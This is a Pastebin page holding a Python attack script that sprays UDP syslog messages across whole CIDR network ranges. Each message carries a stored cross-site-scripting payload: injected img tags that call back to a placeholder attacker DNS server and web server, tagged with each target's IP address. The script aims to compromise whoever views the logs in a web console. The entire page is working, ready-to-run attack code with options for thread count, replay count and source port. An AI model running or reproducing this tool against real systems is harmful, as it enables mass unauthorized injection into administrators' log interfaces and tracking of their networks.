Advertisement
Guest User

Untitled

a guest
Jun 30th, 2016
1,378
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 5.52 KB | None | 0 0
  1. __author__ = 'isox'
  2. import netaddr
  3. from multiprocessing import Pool
  4. import socket
  5. import string
  6. import random
  7. import time
  8. from optparse import OptionParser
  9.  
  10. FACILITY = {
  11.     'kern': 0, 'user': 1, 'mail': 2, 'daemon': 3,
  12.     'auth': 4, 'syslog': 5, 'lpr': 6, 'news': 7,
  13.     'uucp': 8, 'cron': 9, 'authpriv': 10, 'ftp': 11
  14. }
  15.  
  16. LEVEL = {
  17.     'emerg': 0, 'alert':1, 'crit': 2, 'err': 3,
  18.     'warning': 4, 'notice': 5, 'info': 6, 'debug': 7
  19. }
  20.  
  21.  
  22. def asyncSendPayload(sharedSocket, ipaddress, port, payload):
  23.     retryCount = 5
  24.     retryCurrent = 0
  25.     facility = FACILITY.get('kern')
  26.     level = LEVEL.get('emerg')
  27.     data = '<%d>%s' % (level + facility*8, payload)
  28.     finished = False
  29.     while not finished:
  30.         try:
  31.             sharedSocket.sendto(data.encode(), (ipaddress, port))
  32.             finished = True
  33.         except Exception as e:
  34.             time.sleep(1)
  35.         retryCurrent += 1
  36.         if retryCurrent > retryCount:
  37.             print("Fatal error sending to %s" % ipaddress)
  38.             finished = True
  39.     #print("Sent: %s" % (data.encode()))
  40.     return True
  41.  
  42.  
  43. class syslogXssManager(object):
  44.     def __init__(self, cidrNetworkList, portList = None, maxProcesses = None, replayCount = None, payload = None):
  45.         self.maxProcesses = maxProcesses or 30
  46.         self.replayCount = replayCount or 1
  47.         self.bindPorts = [int(port) for port in portList] or [53]
  48.         self.cidrNetworkList = cidrNetworkList
  49.         self.payload = payload
  50.  
  51.     def job(self):
  52.         targetList = self.createTask()
  53.         self.runAttack(targetList)
  54.  
  55.     def idGenerator(self, size=6, chars=string.ascii_uppercase + string.digits):
  56.         return ''.join(random.choice(chars) for _ in range(size))
  57.  
  58.     def createTask(self):
  59.         # Here goes example xss/dns payload
  60.         # Listen for the logs of the ns server
  61.         # Prepare www server for callbacks
  62.         dnsServer = 'nsserv.example.com'
  63.         webServer = 'web.example.com'
  64.         examplePayload = "%s'\"><img/src=//%s."+ dnsServer + "><img/src=//" + webServer + "/1.png?%s><"
  65.         payload = self.payload or examplePayload
  66.         print("Using payload: %s" % payload)
  67.         attackNetworkList = [netaddr.IPNetwork(networkCidr) for networkCidr in self.cidrNetworkList]
  68.         network = netaddr.IPSet(attackNetworkList)
  69.         print("Total attack len: %s" % len(network))
  70.         attackTargetList = [{'ipaddress':"%s" % ipAddress, 'port':514, 'payload':self.payload or (payload % (self.idGenerator(), ipAddress, ipAddress))} for ipAddress in network]
  71.         return attackTargetList
  72.  
  73.  
  74.     def runAttack(self, targetList):
  75.         # targetList = [{'ipaddress:':'127.0.0.1', 'port':53, 'payload':'blablabla']
  76.         for counter in range(0, self.replayCount):
  77.             for port in self.bindPorts:
  78.                 requestPool = Pool(processes=self.maxProcesses)
  79.                 sharedSocket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
  80.                 sharedSocket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
  81.                 sharedSocket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEPORT, 1)
  82.                 #sharedSocket.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, 64)
  83.                 try:
  84.                     sharedSocket.bind(('', port))
  85.                     print("Sending packets from port %s" % port)
  86.                     taskList = [(sharedSocket, targetParams.get('ipaddress'), targetParams.get('port'), targetParams.get('payload')) for targetParams in targetList]
  87.                     results = requestPool.starmap(asyncSendPayload, taskList)
  88.                 except Exception as e:
  89.                     print("Failed binding port %s: %s" % (port, e))
  90.                 print("Closing process pool")
  91.                 requestPool.close()
  92.                 print("Joining process pool")
  93.                 requestPool.join()
  94.                 print("Closing shared socket")
  95.                 sharedSocket.close()
  96.         return True
  97.  
  98. def main():
  99.     parser = OptionParser(usage="usage: %prog [options] network CIDR",
  100.                           version="%prog 1.0")
  101.     parser.add_option("-f", "--file",
  102.                       default=False,
  103.                       help="Read CIDR network list splitted by newline from file")
  104.     parser.add_option("-t", "--threads",
  105.                       default=30,
  106.                       help="Threads concurency, default 30")
  107.     parser.add_option("-r", "--replay",
  108.                       default=False,
  109.                       help="Perform replay of the attack, default 1")
  110.     parser.add_option("-p", "--port",
  111.                       default=53,
  112.                       help="Bind port to send packets from. Default 53. May be set as '53,54,55'")
  113.     parser.add_option("-m", "--message",
  114.                       default=None,
  115.                       help="Set customized payload string")
  116.     (options, args) = parser.parse_args()
  117.  
  118.     if not options.file and len(args) != 1:
  119.         parser.error("Wrong number of arguments")
  120.     cidrNetworkList = set()
  121.     if options.file:
  122.         with open(options.file, 'r') as fileDescriptior:
  123.             dataFromFile = fileDescriptior.read().strip(
  124.  
  125.  
  126.             )
  127.             cidrNetworkList = cidrNetworkList.union(set(dataFromFile.splitlines()))
  128.     cidrNetworkList = cidrNetworkList.union(set(args))
  129.     syslogAttacker = syslogXssManager(cidrNetworkList, portList=("%s" % options.port).split(","),maxProcesses=int(options.threads), replayCount=int(options.replay), payload=options.message)
  130.     syslogAttacker.job()
  131.  
  132. if __name__ == '__main__':
  133.     main()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement